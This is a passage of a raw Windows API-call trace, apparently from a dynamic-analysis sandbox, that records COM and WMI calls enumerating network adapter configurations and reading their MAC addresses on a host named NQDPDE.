puBuffLength=0x12fef84*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fef84*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0206.574] CoGetContextToken (in: pToken=0x12fedd8 | out: pToken=0x12fedd8) returned 0x0 [0206.574] IEnumWbemClassObject:Clone (in: This=0x13ac5f0, ppEnum=0x12fef94 | out: ppEnum=0x12fef94*=0x13ac2d0) returned 0x0 [0206.576] IUnknown:QueryInterface (in: This=0x13ac2d0, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fee50 | out: ppvObject=0x12fee50*=0x13ac2d4) returned 0x0 [0206.576] IClientSecurity:QueryBlanket (in: This=0x13ac2d4, pProxy=0x13ac2d0, pAuthnSvc=0x12feea0, pAuthzSvc=0x12fee9c, pServerPrincName=0x12fee94, pAuthnLevel=0x12fee98, pImpLevel=0x12fee88, pAuthInfo=0x12fee8c, pCapabilites=0x12fee90 | out: pAuthnSvc=0x12feea0*=0xa, pAuthzSvc=0x12fee9c*=0x0, pServerPrincName=0x12fee94, pAuthnLevel=0x12fee98*=0x6, pImpLevel=0x12fee88*=0x2, pAuthInfo=0x12fee8c, pCapabilites=0x12fee90*=0x1) returned 0x0 [0206.576] IUnknown:Release (This=0x13ac2d4) returned 0x1 [0206.576] IUnknown:QueryInterface (in: This=0x13ac2d0, riid=0x6e54351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fee44 | out: ppvObject=0x12fee44*=0x1394e84) returned 0x0 [0206.576] IUnknown:QueryInterface (in: This=0x13ac2d0, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fee30 | out: ppvObject=0x12fee30*=0x13ac2d4) returned 0x0 [0206.576] IClientSecurity:SetBlanket (This=0x13ac2d4, pProxy=0x13ac2d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0206.578] IUnknown:Release (This=0x13ac2d4) returned 0x2 [0206.578] WbemLocator:IUnknown:Release (This=0x1394e84) returned 0x1 [0206.578] CoTaskMemFree (pv=0x13d5d30) [0206.578] IUnknown:AddRef (This=0x13ac2d0) returned 0x2 [0206.579] CoGetContextToken (in: pToken=0x12fe358 | out: pToken=0x12fe358) returned 0x0 [0206.579] CoGetContextToken (in: pToken=0x12fe760 | out: pToken=0x12fe760) returned 0x0 [0206.579] IUnknown:QueryInterface (in: This=0x13ac2d0, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe6f8 | out: ppvObject=0x12fe6f8*=0x1394e68) returned 0x0 [0206.579] WbemLocator:IRpcOptions:Query (in: This=0x1394e68, pPrx=0x13eb9a8, dwProperty=2, pdwValue=0x12fe7f8 | out: pdwValue=0x12fe7f8) returned 0x80004002 [0206.579] WbemLocator:IUnknown:Release (This=0x1394e68) returned 0x2 [0206.579] CoGetContextToken (in: pToken=0x12fed40 | out: pToken=0x12fed40) returned 0x0 [0206.579] CoGetContextToken (in: pToken=0x12feca0 | out: pToken=0x12feca0) returned 0x0 [0206.579] IUnknown:QueryInterface (in: This=0x13ac2d0, riid=0x12fed70*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x12fec38 | out: ppvObject=0x12fec38*=0x13ac2d0) returned 0x0 [0206.580] IUnknown:Release (This=0x13ac2d0) returned 0x2 [0206.580] SysStringLen (param_1=0x0) returned 0x0 [0206.580] IEnumWbemClassObject:Reset (This=0x13ac2d0) returned 0x0 [0206.580] CoTaskMemAlloc (cb=0x4) returned 0x13824a8 [0206.581] IEnumWbemClassObject:Next (in: This=0x13ac2d0, lTimeout=-1, uCount=0x1, apObjects=0x13824a8, puReturned=0x326fe70 | out: apObjects=0x13824a8*=0x13fbc28, puReturned=0x326fe70*=0x1) returned 0x0 [0206.756] IUnknown:QueryInterface (in: This=0x13fbc28, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe5f0 | out: ppvObject=0x12fe5f0*=0x13fbc28) returned 0x0 [0206.757] IUnknown:QueryInterface (in: This=0x13fbc28, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe5ac | out: ppvObject=0x12fe5ac*=0x0) returned 0x80004002 [0206.757] IUnknown:QueryInterface (in: This=0x13fbc28, riid=0x737e03bc*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12fe3cc | out: ppvObject=0x12fe3cc*=0x0) returned 0x80004002 [0206.757] IUnknown:QueryInterface (in: This=0x13fbc28, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe1a4 | out: ppvObject=0x12fe1a4*=0x0) returned 0x80004002 [0206.757] IUnknown:AddRef (This=0x13fbc28) returned 0x3 [0206.757] IUnknown:QueryInterface (in: This=0x13fbc28, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fdf04 | out: ppvObject=0x12fdf04*=0x0) returned 0x80004002 [0206.757] IUnknown:QueryInterface (in: This=0x13fbc28, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fdeb4 | out: ppvObject=0x12fdeb4*=0x0) returned 0x80004002 [0206.757] IUnknown:QueryInterface (in: This=0x13fbc28, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fdec0 | out: ppvObject=0x12fdec0*=0x13fbc2c) returned 0x0 [0206.757] IMarshal:GetUnmarshalClass (in: This=0x13fbc2c, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fdec8 | out: pCid=0x12fdec8) returned 0x0 [0206.757] IUnknown:Release (This=0x13fbc2c) returned 0x3 [0206.757] CoGetContextToken (in: pToken=0x12fdf20 | out: pToken=0x12fdf20) returned 0x0 [0206.757] CoGetContextToken (in: pToken=0x12fe328 | out: pToken=0x12fe328) returned 0x0 [0206.757] IUnknown:QueryInterface (in: This=0x13fbc28, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe3b4 | out: ppvObject=0x12fe3b4*=0x0) returned 0x80004002 [0206.757] IUnknown:Release (This=0x13fbc28) returned 0x2 [0206.757] CoGetContextToken (in: pToken=0x12fe900 | out: pToken=0x12fe900) returned 0x0 [0206.757] CoGetContextToken (in: pToken=0x12fe860 | out: pToken=0x12fe860) returned 0x0 [0206.757] IUnknown:QueryInterface (in: This=0x13fbc28, riid=0x12fe930*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x12fe92c | out: ppvObject=0x12fe92c*=0x13fbc28) returned 0x0 [0206.757] IUnknown:AddRef (This=0x13fbc28) returned 0x4 [0206.757] IUnknown:Release (This=0x13fbc28) returned 0x3 [0206.757] IUnknown:Release (This=0x13fbc28) returned 0x2 [0206.757] CoTaskMemFree (pv=0x13824a8) [0206.757] CoGetContextToken (in: pToken=0x12fec70 | out: pToken=0x12fec70) returned 0x0 [0206.757] IUnknown:AddRef (This=0x13fbc28) returned 0x3 [0206.757] IWbemClassObject:Get (in: This=0x13fbc28, wszName="__GENUS", lFlags=0, pVal=0x12fef84*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x12ff004*=0, plFlavor=0x12ff000*=0 | out: pVal=0x12fef84*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x12ff004*=3, plFlavor=0x12ff000*=64) returned 0x0 [0206.758] IWbemClassObject:Get (in: This=0x13fbc28, wszName="__PATH", lFlags=0, pVal=0x12fef68*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x12fefec*=0, plFlavor=0x12fefe8*=0 | out: pVal=0x12fef68*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\NQDPDE\\root\\CIMV2:Win32_NetworkAdapterConfiguration.Index=0", varVal2=0x0), pType=0x12fefec*=8, plFlavor=0x12fefe8*=64) returned 0x0 [0206.758] SysStringByteLen (bstr="\\\\NQDPDE\\root\\CIMV2:Win32_NetworkAdapterConfiguration.Index=0") returned 0x7a [0206.758] SysStringByteLen (bstr="\\\\NQDPDE\\root\\CIMV2:Win32_NetworkAdapterConfiguration.Index=0") returned 0x7a [0206.758] CoGetObjectContext (in: riid=0x319476c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fef94 | out: ppv=0x12fef94*=0x135504c) returned 0x0 [0206.758] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12fef8c | out: pAptType=0x12fef8c*=1) returned 0x0 [0206.758] IUnknown:QueryInterface (in: This=0x135504c, riid=0x3194754*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12fef90 | out: ppvObject=0x12fef90*=0x0) returned 0x80004002 [0206.758] IUnknown:Release (This=0x135504c) returned 0x1 [0206.759] CoGetClassObject (in: rclsid=0x1394304*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fe8f0 | out: ppv=0x12fe8f0*=0x1382558) returned 0x0 [0206.759] WbemDefPath:IUnknown:QueryInterface (in: This=0x1382558, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12feb0c | out: ppvObject=0x12feb0c*=0x0) returned 0x80004002 [0206.759] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1382558, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12feb18 | out: ppvObject=0x12feb18*=0x13a4480) returned 0x0 [0206.759] WbemDefPath:IUnknown:Release (This=0x1382558) returned 0x0 [0206.759] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4480, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe73c | out: ppvObject=0x12fe73c*=0x13a4480) returned 0x0 [0206.759] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4480, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe6f8 | out: ppvObject=0x12fe6f8*=0x0) returned 0x80004002 [0206.759] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4480, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe2ec | out: ppvObject=0x12fe2ec*=0x0) returned 0x80004002 [0206.759] WbemDefPath:IUnknown:AddRef (This=0x13a4480) returned 0x3 [0206.759] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4480, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe04c | out: ppvObject=0x12fe04c*=0x0) returned 0x80004002 [0206.759] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4480, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fdffc | out: ppvObject=0x12fdffc*=0x0) returned 0x80004002 [0206.759] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4480, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe008 | out: ppvObject=0x12fe008*=0x13eb870) returned 0x0 [0206.759] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x13eb870, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fe010 | out: pCid=0x12fe010) returned 0x0 [0206.759] WbemDefPath:IUnknown:Release (This=0x13eb870) returned 0x3 [0206.759] CoGetContextToken (in: pToken=0x12fe068 | out: pToken=0x12fe068) returned 0x0 [0206.759] CoGetContextToken (in: pToken=0x12fe470 | out: pToken=0x12fe470) returned 0x0 [0206.759] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4480, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe4fc | out: ppvObject=0x12fe4fc*=0x0) returned 0x80004002 [0206.760] WbemDefPath:IUnknown:Release (This=0x13a4480) returned 0x2 [0206.760] WbemDefPath:IUnknown:Release (This=0x13a4480) returned 0x1 [0206.760] CoGetContextToken (in: pToken=0x12fee10 | out: pToken=0x12fee10) returned 0x0 [0206.760] CoGetContextToken (in: pToken=0x12fed70 | out: pToken=0x12fed70) returned 0x0 [0206.760] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4480, riid=0x12fee40*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x12fee3c | out: ppvObject=0x12fee3c*=0x13a4480) returned 0x0 [0206.760] WbemDefPath:IUnknown:AddRef (This=0x13a4480) returned 0x3 [0206.760] WbemDefPath:IUnknown:Release (This=0x13a4480) returned 0x2 [0206.760] WbemDefPath:IWbemPath:SetText (This=0x13a4480, uMode=0x4, pszPath="\\\\NQDPDE\\root\\CIMV2:Win32_NetworkAdapterConfiguration.Index=0") returned 0x0 [0206.760] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a43a0, puCount=0x12fefc0 | out: puCount=0x12fefc0*=0x2) returned 0x0 [0206.760] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=4, puBuffLength=0x12fefbc*=0x0, pszText=0x0 | out: puBuffLength=0x12fefbc*=0xf, pszText=0x0) returned 0x0 [0206.760] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=4, puBuffLength=0x12fefbc*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fefbc*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0206.760] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a43a0, puCount=0x12fef8c | out: puCount=0x12fef8c*=0x2) returned 0x0 [0206.760] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=4, puBuffLength=0x12fef88*=0x0, pszText=0x0 | out: puBuffLength=0x12fef88*=0xf, pszText=0x0) returned 0x0 [0206.760] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=4, puBuffLength=0x12fef88*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fef88*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0206.761] IWbemClassObject:Get (in: This=0x13fbc28, wszName="MACAddress", lFlags=0, pVal=0x12fef88*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x3270690*=0, plFlavor=0x3270694*=0 | out: pVal=0x12fef88*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x3270690*=8, plFlavor=0x3270694*=32) returned 0x0 [0206.762] IWbemClassObject:Get (in: This=0x13fbc28, wszName="MACAddress", lFlags=0, pVal=0x12fef90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x3270690*=8, plFlavor=0x3270694*=32 | out: pVal=0x12fef90*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x3270690*=8, plFlavor=0x3270694*=32) returned 0x0 [0206.762] CoTaskMemAlloc (cb=0x4) returned 0x13825c8 [0206.762] IEnumWbemClassObject:Next (in: This=0x13ac2d0, lTimeout=-1, uCount=0x1, apObjects=0x13825c8, puReturned=0x326fe70 | out: apObjects=0x13825c8*=0x13fe018, puReturned=0x326fe70*=0x1) returned 0x0 [0206.766] IUnknown:QueryInterface (in: This=0x13fe018, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe5f0 | out: ppvObject=0x12fe5f0*=0x13fe018) returned 0x0 [0206.766] IUnknown:QueryInterface (in: This=0x13fe018, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe5ac | out: ppvObject=0x12fe5ac*=0x0) returned 0x80004002 [0206.766] IUnknown:QueryInterface (in: This=0x13fe018, riid=0x737e03bc*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12fe3cc | out: ppvObject=0x12fe3cc*=0x0) returned 0x80004002 [0206.766] IUnknown:QueryInterface (in: This=0x13fe018, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe1a4 | out: ppvObject=0x12fe1a4*=0x0) returned 0x80004002 [0206.767] IUnknown:AddRef (This=0x13fe018) returned 0x3 [0206.767] IUnknown:QueryInterface (in: This=0x13fe018, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fdf04 | out: ppvObject=0x12fdf04*=0x0) returned 0x80004002 [0206.767] IUnknown:QueryInterface (in: This=0x13fe018, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fdeb4 | out: ppvObject=0x12fdeb4*=0x0) returned 0x80004002 [0206.767] IUnknown:QueryInterface (in: This=0x13fe018, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fdec0 | out: ppvObject=0x12fdec0*=0x13fe01c) returned 0x0 [0206.767] IMarshal:GetUnmarshalClass (in: This=0x13fe01c, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fdec8 | out: pCid=0x12fdec8) returned 0x0 [0206.767] IUnknown:Release (This=0x13fe01c) returned 0x3 [0206.767] CoGetContextToken (in: pToken=0x12fdf20 | out: pToken=0x12fdf20) returned 0x0 [0206.767] CoGetContextToken (in: pToken=0x12fe328 | out: pToken=0x12fe328) returned 0x0 [0206.767] IUnknown:QueryInterface (in: This=0x13fe018, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe3b4 | out: ppvObject=0x12fe3b4*=0x0) returned 0x80004002 [0206.767] IUnknown:Release (This=0x13fe018) returned 0x2 [0206.767] CoGetContextToken (in: pToken=0x12fe900 | out: pToken=0x12fe900) returned 0x0 [0206.767] CoGetContextToken (in: pToken=0x12fe860 | out: pToken=0x12fe860) returned 0x0 [0206.767] IUnknown:QueryInterface (in: This=0x13fe018, riid=0x12fe930*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x12fe92c | out: ppvObject=0x12fe92c*=0x13fe018) returned 0x0 [0206.767] IUnknown:AddRef (This=0x13fe018) returned 0x4 [0206.767] IUnknown:Release (This=0x13fe018) returned 0x3 [0206.767] IUnknown:Release (This=0x13fe018) returned 0x2 [0206.767] CoTaskMemFree (pv=0x13825c8) [0206.767] CoGetContextToken (in: pToken=0x12fec70 | out: pToken=0x12fec70) returned 0x0 [0206.767] IUnknown:AddRef (This=0x13fe018) returned 0x3 [0206.767] IWbemClassObject:Get (in: This=0x13fe018, wszName="__GENUS", lFlags=0, pVal=0x12fef84*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x12ff004*=0, plFlavor=0x12ff000*=0 | out: pVal=0x12fef84*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x12ff004*=3, plFlavor=0x12ff000*=64) returned 0x0 [0206.767] IWbemClassObject:Get (in: This=0x13fe018, wszName="__PATH", lFlags=0, pVal=0x12fef68*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x12fefec*=0, plFlavor=0x12fefe8*=0 | out: pVal=0x12fef68*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\NQDPDE\\root\\CIMV2:Win32_NetworkAdapterConfiguration.Index=1", varVal2=0x0), pType=0x12fefec*=8, plFlavor=0x12fefe8*=64) returned 0x0 [0206.768] SysStringByteLen (bstr="\\\\NQDPDE\\root\\CIMV2:Win32_NetworkAdapterConfiguration.Index=1") returned 0x7a [0206.768] SysStringByteLen (bstr="\\\\NQDPDE\\root\\CIMV2:Win32_NetworkAdapterConfiguration.Index=1") returned 0x7a [0206.768] CoGetObjectContext (in: riid=0x319476c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fef94 | out: ppv=0x12fef94*=0x135504c) returned 0x0 [0206.768] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12fef8c | out: pAptType=0x12fef8c*=1) returned 0x0 [0206.768] IUnknown:QueryInterface (in: This=0x135504c, riid=0x3194754*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12fef90 | out: ppvObject=0x12fef90*=0x0) returned 0x80004002 [0206.768] IUnknown:Release (This=0x135504c) returned 0x1 [0206.768] CoGetClassObject (in: rclsid=0x1394304*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fe8f0 | out: ppv=0x12fe8f0*=0x1382508) returned 0x0 [0206.768] WbemDefPath:IUnknown:QueryInterface (in: This=0x1382508, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12feb0c | out: ppvObject=0x12feb0c*=0x0) returned 0x80004002 [0206.769] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1382508, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12feb18 | out: ppvObject=0x12feb18*=0x13a4800) returned 0x0 [0206.769] WbemDefPath:IUnknown:Release (This=0x1382508) returned 0x0 [0206.769] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4800, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe73c | out: ppvObject=0x12fe73c*=0x13a4800) returned 0x0 [0206.769] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4800, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe6f8 | out: ppvObject=0x12fe6f8*=0x0) returned 0x80004002 [0206.769] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4800, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe2ec | out: ppvObject=0x12fe2ec*=0x0) returned 0x80004002 [0206.769] WbemDefPath:IUnknown:AddRef (This=0x13a4800) returned 0x3 [0206.769] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4800, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, 